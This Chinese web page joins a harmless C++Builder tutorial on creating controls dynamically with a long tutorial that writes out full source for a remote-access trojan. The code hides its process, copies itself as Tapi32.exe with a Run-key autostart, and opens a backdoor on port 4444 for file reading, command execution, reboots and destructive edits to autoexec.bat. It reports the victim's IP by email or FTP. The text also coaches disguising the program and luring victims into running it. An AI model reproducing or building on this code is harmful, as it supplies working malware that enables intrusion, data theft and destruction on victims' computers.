在C++Builder中动态创建控件并处理添加事件处理

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  当开发类似解释程序或实现可视化操作功能等一类的应用程序时,都需要动态地创建控件(对象),而且还要为这些控件添加适当的事件处理程序,下面将介绍在C++Builder中如何实现基本的实现框架。

动态创建控件的一般过程:
  TButton *btn = new TButton(this);
  btn->Caption = "Button1";
  btn->Parent = this;
  btn->Show();

下面结合一个动态生成菜单的例子来实践如何动态创建控件并处理添加事件处理。

  先编写一个函数用向一个已存在的菜单对象中插入菜单项:
  void __fastcall TForm1::AddContextMenuItem(TPopupMenu *pMenu,
    AnsiString caption, unsigned int tag, TNotifyEvent notifyEvent)

  参数:
  pMenu: 已存在的TPopupMenu对象指针
  caption: 菜单项的标题
  tag: 菜单项的tag值,用于标识不同的TMenuItem对象
  notifyEvent: 该菜单项的事件处理函数

函数实现:
TMenuItem *mnuItem	= new TMenuItem(pMenu); // Create new item

pMenu->Items->Add(mnuItem); // Add it to pMenu
mnuItem->Name		= "CM_" + IntToStr(tag);
mnuItem->Caption	= caption;
mnuItem->ImageIndex	= imgIndex;
mnuItem->Tag		= tag;
mnuItem->OnClick	= notifyEvent; // Assign it an event handler

然后编写调用AddContextMenuItem(...)的函数CreateContextMenu(),定义如下:
void __fastcall TForm1::CreateContextMenu(void)
{
	FTagInc = 0;
	FContextMenu = new TPopupMenu(this);
	FContextMenu->AutoHotkeys	= maManual;
	FContextMenu->OnPopup		= UpdateContextMenuItem;

	AddContextMenuItem(FContextMenu, "菜单项 1", FTagInc++, MenuItemClick);
	AddContextMenuItem(FContextMenu, "菜单项 2", FTagInc++, MenuItemClick);
	AddContextMenuItem(FContextMenu, "-", FTagInc++, NullNotifyEvent);
	AddContextMenuItem(FContextMenu, "菜单项 3", FTagInc++, MenuItemClick);
}

FContextMenu是TForm1的成员变量,UpdateContextMenuItem()是用于在FContextMenu的Popup事件中更新菜单项。

MenuItemClick与NullNotifyEvent都是TForm1中成员函数,是动态创建的控件的事件处理函数,格式为:
void __fastcall TForm1::MenuItemClick(TObject *Sender)
void __fastcall TForm1::NullNotifyEvent(TObject *Sender)

  上面是我自己的一点心得,希望可以与大学继续交流程序设计的经验。


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 启动C++Builder5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页的ServerSocket,另两个是Fastnet页的NMFTP和NMSMTP。ServerSocket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是Unix上出现的,后来微软将它引入了Windows(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File TransferProtocol文件传输协议)和SMTP(Simple Mail TransferProtocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。   Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。   我们首先应该让我们的程序能够隐身。双击Form,首先FormCreate事件添加可使木马Win9x的“关闭程序”对话框隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行较高的优先级下,可以说是非常靠近系统核心的设备驱动程序的那一种。因此,只要将我们的程序进程数据库用RegisterServiceProcess()函数注册成服务进程(ServiceProcess)就可以了。不过该函数的声明Borland预先打包的头文件没有,那么我们只好自己来声明这个位于KERNEL32.DLL的鸟函数了。   首先判断目标机的操作系统是Win9x还是WinNt: { DWORD dwVersion = GetVersion(); // 得到操作系统的版本号 if (dwVersion >= 0x80000000) // 操作系统是Win9x,不是WinNt  {    typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);     //定义RegisterServiceProcess()函数的原型     HINSTANCE hDLL;    LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;    hDLL = LoadLibrary("KERNEL32");    //加载RegisterServiceProcess()函数所的动态链接库KERNEL32.DLL    lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");     //得到RegisterServiceProcess()函数的地址     lpRegisterServiceProcess(GetCurrentProcessId(),1);    //执行RegisterServiceProcess()函数,隐藏本进程    FreeLibrary(hDLL);    //卸载动态链接库  } }   这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt的进程管理器可以对当前进程一览无余,因此没必要WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。 接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,修改注册表,以便启动时自动加载: {  char TempPath[MAX_PATH]; //定义一个变量 GetSystemDirectory(TempPath ,MAX_PATH); //TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径 SystemPath=AnsiString(TempPath); //格式化TempPath字符串,使之成为能供编译器使用的样式 CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE); //将自己拷贝到%System%目录下,改名为Tapi32.exe,伪装起来 Registry=new TRegistry; //定义一个TRegistry对象,准备修改注册表,这一步必不可少 Registry->RootKey=HKEY_LOCAL_MACHINE; //设置主键为HKEY_LOCAL_MACHINE Registry->OpenKey("Software\\Microsoft\\Windows\\ CurrentVersion\\Run",TRUE); //打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存,就创建之 try  {   //如果以下语句发生异常,跳至catch,以避免程序崩溃   if(Registry->ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")     Registry->WriteString("crossbow",SystemPath+"\\Tapi32.exe");     //查找是否有“crossbow”字样的键值,且是否为拷贝的目录%System%+Tapi32.exe    //如果不是,就写入以上键值和内容  } catch(...)  {  //如果有错误,什么也不做  } }   好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,“关闭程序”对话框看不见本进程了,木马的雏形初现。   接着选ServerSocket控件左边的ObjectInspector将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP ControlPort);同理TNMSMTP的25号端口也是SMTP协议的专用端口。   再选ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码: {  FILE *fp=NULL;  char * content;  int times_of_try;  char TempFile[MAX_PATH];  //定义了一堆待会儿要用到的变量  sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());  //%System%下建立一个文本文件Win369.bat,作为临时文件使用  AnsiString temp=Socket->ReceiveText();  //接收客户端(攻击者,也就是你自己)传来的数据 } 好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧: { if(temp.SubString(0,9)=="edit conf")  //如果接受到的字符串的前9个字符是“edit conf”  {    int number=temp.Length();    //得到字符串的长度    int file_name=atoi((temp.SubString(11,1)).c_str());    //将第11个字符转换成integer型,存入file_name变量    //为什么要取第11个字符,因为第10个字符是空格字符    content=(temp.SubString(12,number-11)+'\n').c_str();    //余下的字符串将被作为写入的内容写入目标文件    FILE *fp=NULL;    char filename[20];    chmod("c:\\autoexec.bat",S_IREAD|S_IWRITE);    chmod("c:\\config.sys",S_IREAD|S_IWRITE);    //将两个目标文件的属性改为可读可写    if(file_name==1)     sprintf(filename,"%s","c:\\autoexec.bat");     //如果第11个字符是1,就把Autoexec.bat格式化    else if(file_name==2)     sprintf(filename,"%s","c:\\config.sys");     //如果第11个字符是1,就把Config.sys格式化    times_of_try=0;    //定义计数器    while(fp==NULL)     {      //如果指针是空     fp=fopen(filename,"a+");     //如果文件不存,创建之;如果存,准备其后添加     //如果出错,文件指针为空,这样就会重复     times_of_try=times_of_try+1;     //计数器加1     if(times_of_try>100)     {        //如果已经试了100次了,仍未成功        Socket->SendText("Fail By Open File");        //就发回“Fail By Open File”的错误信息        goto END;        //跳至END处     }     }    fwrite(content,sizeof(char),strlen(content),fp);    //写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!    fclose(fp);    //写完后关闭目标文件    Socket->SendText("Sucess");    //然后发回“Success”的成功信息   } }   你现可以通过网络来察看目标机上的这两个文件了,且还可以向里面随意添加任何命令。呵呵,这只不过是牛刀小试罢了。朋友,别走开 上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这客户端上使用“dir”命令,跟着敲啰: { else if(temp.SubString(0,3)==dir) { file://如果前3个字符是“dir” int Read_Num; char * CR_LF=\n; int attrib; char *filename; DIR *dir; struct dirent *ent; int number=temp.Length(); file://得到字符串的长度 AnsiString Dir_Name=temp.SubString(5,number-3); file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名 if(Dir_Name==) { file://如果目录名为空 Socket->SendText(Fail By Open DIRs Name); file://返回“Fail By Open DIRs Name”信息 goto END; file://跳到END } char * dirname; dirname=Dir_Name.c_str(); if ((dir = opendir(dirname)) == NULL) { file://如果打开目录出错 Socket->SendText(Fail by your DIRs name!); file://返回“Fail By Your DIRs Name”信息 goto END; file://跳到END } times_of_try=0; while(fp==NULL) { file://如果指针是NULL fp=fopen(TempFile,w+); file://就创建system\Win369.bat准备读和写;如果此文件已存,则会被覆盖 times_of_try=times_of_try+1; file://计数器加1 if(times_of_try>100) { file://如果已经试了100次了,仍未成功(真有耐心!) Socket->SendText(Fail By Open File); file://就发回“Fail By Open File”的错误信息 goto END; file://跳到END处 } } while ((ent = readdir(dir)) != NULL) { file://如果访问目标目录成功 if(*(AnsiString(dirname)).AnsiLastChar()!=\\) file://如果最后一个字符不是“\”,证明不是根目录 filename=(AnsiString(dirname)+\\+ent->d_name).c_str(); file://加上“\”字符后将指针指向目录流 else filename=(AnsiString(dirname)+ent->d_name).c_str(); file://如果是根目录,则不用加“\” attrib=_rtl_chmod(filename, 0); file://得到目标文件的访问属性 if (attrib & FA_RDONLY) file://“&”字符是比较前后两个变量,如果相同返回1,否则返回0 fwrite( R,sizeof(char),3,fp); file://将目标文件属性设为只读 else fwrite( ,sizeof(char),3,fp); file://失败则写入空格 if (attrib & FA_HIDDEN) fwrite(H,sizeof(char),1,fp); file://将目标文件属性设为隐藏 else fwrite( ,sizeof(char),1,fp); file://失败则写入空格 if (attrib & FA_SYSTEM) fwrite(S,sizeof(char),1,fp); file://将目标文件属性设为系统 else fwrite( ,sizeof(char),1,fp); file://失败则写入空格 if (attrib & FA_ARCH) fwrite(A,sizeof(char),1,fp); file://将目标文件属性设为普通 else fwrite( ,sizeof(char),1,fp); file://失败则写入空格 if (attrib & FA_DIREC) fwrite( <DIR> ,sizeof(char),9,fp); file://将目标文件属性设为目录 else fwrite( ,sizeof(char),9,fp); file://失败则写入空格 fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp); file://将目录名写入目标文件 fwrite(CR_LF,1,1,fp); file://写入换行 } fclose(fp); file://关闭文件 closedir(dir); file://关闭目录 FILE *fp1=NULL; times_of_try=0; while(fp1==NULL) { fp1=fopen(TempFile,r); file://打开Win369.bat准备读 times_of_try=times_of_try+1; file://计数器加1 if(times_of_try>100) { file://如果已经试了100次了,仍未成功 Socket->SendText(Fail By Open File); file://就发回“Fail By Open File”的错误信息 goto END; file://跳到END处 } } AnsiString Return_Text=; char temp_content[300]; for(int i=0;i<300;i++) temp_content=\0; file://定义的一个空数组 Read_Num=fread(temp_content,1,300,fp1); file://从目标文件读入前300个字符 while(Read_Num==300) { Return_Text=Return_Text+temp_content; file://Return_Text变量加上刚才的300个字符 for(int i=0;i<300;i++) temp_content=\0; Read_Num=fread(temp_content,1,300,fp1); file://重复 }; Return_Text=Return_Text+temp_content; file://Return_Text变量加上刚才的300个字符 fclose(fp1); file://关闭目标文件 Socket->SendText(Return_Text); file://返回Return_Text变量的内容 } } 够长吧?!察看目录树这么费劲啊?!你后面可以用BCB的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?): { else if(temp.SubString(0,4)==type) { file://如果前4个字符是“type” int Read_Num; int number=temp.Length(); AnsiString File_Name=temp.SubString(6,number-4); file://将目标文件流存入File_Name变量 times_of_try=0; while(fp==NULL) { fp=fopen(File_Name.c_str(),r); file://打开目标文件准备读 times_of_try=times_of_try+1; file://计数器加1 if(times_of_try>100) { file://如果已试了100次了 Socket->SendText(Fail By Open File); file://返回“Fail By Open File”的错误信息 goto END; file://跳到END } } AnsiString Return_Text=; char temp_content[300]; for(int i=0;i<300;i++) temp_content=\0; file://定义一个空数组 Read_Num=fread(temp_content,1,300,fp); file://从目标文件读入前300个字符 while(Read_Num==300) { Return_Text=Return_Text+temp_content; file://Return_Text的内容加上刚才的字符 for(int i=0;i<300;i++) temp_content=\0; Read_Num=fread(temp_content,1,300,fp); file://重复 }; Return_Text=Return_Text+temp_content; file://Return_Text的内容加上刚才的字符 fclose(fp); file://关闭目标文件 Socket->SendText(Return_Text); file://返回Return_Text的内容,即你查看文件的内容 } } 咳咳!累死了!还是来点轻松的吧——操纵目标机的光驱(注意:mciSendString()函数的声明mmsystem.h头文件): { else if(temp==open) { file://如果收到的temp的内容是“open” mciSendString(set cdaudio door open, NULL, 0, NULL); file://就弹出光驱的托盘 } else if(temp==close) { file://如果收到的temp的内容是“close” mciSendString(Set cdaudio door closed wait, NULL, 0, NULL); file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^ } } 接着就是交换目标机的鼠标左右键,代码如下: { else if(temp==swap) { SwapMouseButton(1); file://交换鼠标左右键,简单吧? } } 然后就是使目标机重新启动。但这里要区分WinNt和Win9x——NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限: { else if(temp==reboot) { file://如果收到的temp的内容是“temp” DWORD dwVersion = GetVersion(); file://得到操作系统的版本号 if (dwVersion < 0x80000000) { file://操作系统是WinNt,不是Win9x HANDLE hToken; TOKEN_PRIVILEGES tkp; file://定义变量 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); file://OpenProcessToken()这个函数的作用是打开一个进程的访问令牌 file://GetCurrentProcess()函数的作用是得到本进程的句柄 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); file://LookupPrivilegeValue()的作用是修改进程的权限 tkp.PrivilegeCount = 1; file://赋给本进程特权 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); file://AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利 ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0); file://强行退出WinNt重启 } else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0); file://强行退出Win9x重启 } } 如果以上都不是,就让它Dos窗口执行传来的命令: { else { file://如果都不是 char * CR_TF=\n; times_of_try=0; while(fp==NULL) { fp=fopen(TempFile,w+); file://创建Win369.bat,如果已存就覆盖 times_of_try=times_of_try+1; file://计数器加1 if(times_of_try>100) { Socket->SendText(Fail By Open File); file://返回“Fail By Open File”的信息 goto END; file://跳到END } } fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp); file://写入欲执行的命令 fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp); file://写入换行符 fclose(fp); file://关闭Win369.bat system(TempFile); file://执行Win369.bat Socket->SendText(Success); file://返回“Success”信息 } } 你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^ 到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续) 上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^): { END:; Socket->Close(); file://关闭服务 ServerSocket1->Active =true; file://再次打开服务 if (NMSMTP1->Connected) NMSMTP1->Disconnect(); file://如果SMTP服务器已连接则断开 NMSMTP1->Host = "smtp.163.net"; file://选一个好用的SMTP服务器,如163、263、sina和btamail NMSMTP1->UserID = ""; file://你SMTP的ID try { NMSMTP1->Connect(); file://再次连接 } catch(...) { goto NextTime; file://跳到NextTime } NMSMTP1->PostMessage->FromAddress ="I don't know!"; file://受害者的Email地址 NMSMTP1->PostMessage->FromName = "Casualty"; file://受害者的名字 NMSMTP1->PostMessage->ToAddress->Text = "<font color="#4d6c80"623737739@qq.com"; file://将信发到我的邮箱,这一步很关键 NMSMTP1->PostMessage->Body->Text = AnsiString("Server Running on:") + NMSMTP1->LocalIP ; file://信的内容提示你“服务器正运行”,且告诉你受害者的目前的IP地址,以便连接 NMSMTP1->PostMessage->Subject = "Server Running Now!"; file://信的主题 NMSMTP1->SendMail(); file://发送! return; file://返回 NextTime: NMFTP1->Host = "ftp.go.163.com"; file://你的FTP服务器的地址 NMFTP1->UserID = ""; file://你的用户ID NMFTP1->Port = 21; file://FTP端口号,一般为21 NMFTP1->Password = ""; file://你的FTP的密码 if(NMFTP1->Connected) NMFTP1->Disconnect(); file://如果已连接就断开 try { NMFTP1->Connect(); file://再连接 } catch(...) { return; file://返回 } AnsiString SendToSite = "Server Running on: " + NMFTP1->RemoteIP; file://受害者的IP地址 FILE * Upload; Upload = fopen(NMFTP1->RemoteIP.c_str(),"w+"); file://创建一个新文件准备写,如果已存就覆盖 fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload); file://写入以上的SendToSite的内容 fclose(Upload); file://写完后关闭此文件 NMFTP1->RemoveDir("public_html"); file://删除public_html目录 NMFTP1->Upload(NMFTP1->RemoteIP, NMFTP1->RemoteIP); file://上传! } 啊,超长的OnClientRead事件终于写完了。最后别忘了要此服务器源码文件添加以下头文件: #include <stdlib.h> #include <dirent.h> #include <fcntl.h> #include <dos.h> #include <sysstat.h> #include <winbase.h> #include <stdio.h> #include <process.h> #include <io.h> #include <mmsystem.h> 至此,服务器端(Server)程序已全部完工!(终于可以好好歇歇了!)别慌!以上代码只是完成了整个木马程序的一半。(“扑通”,有人晕倒了!)下面我们就将乘胜追击――搞定客户端程序(Client)! 客户端程序其实是很简单的。另新建一个Form,添加一个ClientSocket(和ServerSocket相同的页下),再添加四个Editbox,命名为Edit1,Edit2,Edit3和Edit4,最后添加一个Button,Caption为“发送”。Edit1是输入命令用的,Edit2是准备输入目标机的IP地址用的,Edit3是输入连接端口号用的,Edit4是用来输入欲添加的语句或显示命令执行的结果的。(头是不是有点大了?!) 双击Button1,Button1Click事件添加如下代码: { if((Edit2->Text=="")||(Edit3->Text==""))return; file://如果输入IP地址框或输入端口号框有一个为空,就什么也不作 ClientSocket1->Address=Edit2->Text; file://目标IP地址 ClientSocket1->Port=atoi(Edit2->Text.c_str()); file://目标端口号,本例的44444 ClientSocket1->Open(); file://连接! } 选CilentSocket1控件,双击OnConnectt事件,ClientSocket1Connect下添加如下代码: { if((Edit1->Text=="edit conf 1")||(Edit1->Text=="edit conf 2")) file://如果是要编辑autoexec.bat或config.sys Socket->SendText(Edit1->Text+Edit4->Text); file://发送命令和欲添加的语句 else Socket->SendText(Edit1->Text); file://否则只发送命令 } 双击OnRead事件,ClientSocket1Read下添加如下代码: { AnsiString ReadIn = Socket->ReceiveText(); file://读入收到的返回信息 Edit4->Text=""; file://清空编辑框 FILE *fp; fp = fopen("ReadIn.tmp","w"); file://建立一个临时文件ReadIn.tmp fwrite(ReadIn.c_str(),1,10000,fp); file://写入信息 fclose(fp); file://关闭之 Edit4->Lines->LoadFromFile("ReadIn.tmp"); file://编辑框显示返回的信息 } 为了敲完命令后直接回车就可以发送,我们可以使Button1的代码共享。双击Edit1的OnKeyPress命令,输入: { if(Key==VK_RETURN)Button1Click(Sender); file://如果敲的是回车键,就和点击Button1一样的效果 } 最后再添加以下头文件: #include "stdlib.h" #include "winbase.h" #include "fcntl.h" #include "stdio.h" 终于写完了!!!(如果你对简陋的界面不满意,可以自己用BCB丰富的控件好好完善完善嘛!)按下Ctrl+F9进行编译链接吧!对于Server,你可以选一个足以迷惑人的图标(我选的是一个目录模样的图标)进行编译,这样不但受害者容易招,而且便于隐藏自己。 接下来就把Server程序寄给受害者,诱骗他(她)执行,你得到他(她)的IP后(这不用我教吧?),就启动Client程序,敲入“editconf 1”就编辑Autoexec.bat文件,敲入“edit conf 2”就编辑Config.sys文件,敲入“dirxxx”(xxx是目录名)就可以看到目录和文件,敲“typexxx”就可以察看任何文件,输入“open”,弹出目标机的光驱托盘,“close”就收入托盘,输入“swap”就可以交换受害者的鼠标左右键,输入“reboot”就启动目标机……不用我多说了吧? 以上只是一个简单的例子,真正写起木马来要解决的技术问题比这多得多,这得需要扎实的编程功底和丰富的经验。如下的问题就值得仔细考虑: 首先是程序的大小问题,本程序经编译链接后得到的可执行文件竟有400多K,用Aspack1.07压了一下也还有200多K。可以看出不必要的Form是应该去掉的;且尽量由自己调用底层的API函数,而尽量少使用Borland打好包的VCL控件;要尽量使用汇编语言(BCB支持C++和汇编混编),不但速度会加快,而且大小可以小很多,毕竟木马是越小越好。 还有启动方式的选择。出了Win.ini、System.ini之外,也还是那几个注册表键值,如: HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun 都已被其他的木马用烂了。现又开始对exe、dll和txt文件的关联程序动手脚了(如冰河和广外女生)。这里涉及到参数传递的问题。得到ParamStr()函数传来的参数,启动自己后再启动与之关联的程序,将参数传递给它,这样就完成了一次“双启动”,而受害者丝毫感觉不到有任何异常。具体键值如: 与exe文件建立关联:HKEY_CLASSES_ROOTexefileshellopencommand 与txt文件建立关联:HKEY_CLASSES_ROOT xtfileshellopencommand 与dll文件建立关联:HKEY_CLASSES_ROOTdllfileshellopencommand 等,当然还可以自己扩充。目前还有一种新方法:HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsNTCurrentVersionWindows下添加如下键值"AppInit_DLLs"="Server.dll",这就把Server.dll注册为系统启动时必须加载的模块(你应该把木马编译成DLL)。下次开机时,木马以动态链接库形式被加载,存于系统进程。因为没有它自己的PID(Process ID进程识别号),所以NT的任务管理器也看不见(不过“系统信息”――“软件环境”――“已加载的32位模块”还是可以详细看到当前内存加载的每一个模块的 ^_^),这样做的目的是可以使自己的程序更加隐蔽,提高木马的生存能力。 木马的功能还可以大大扩充。你可以充分发挥你的想象力――比如上传、下载、新建、改名、移动文件,截图存为jpg文件传回,录音监听成Wav文件,录像成AVI文件,弹光驱,读软驱,关机,重启,不停地挂起,胡乱切换分辨率(烧掉你的显示器),发对话框,不停地打开资源管理器直到死机,杀掉Kernel32.dll进程使机器暴死,交换鼠标左右键,固定鼠标,限制鼠标活动范围,鼠标不听指挥到处乱窜,记录击键记录(记录上网口令,这需要深入了
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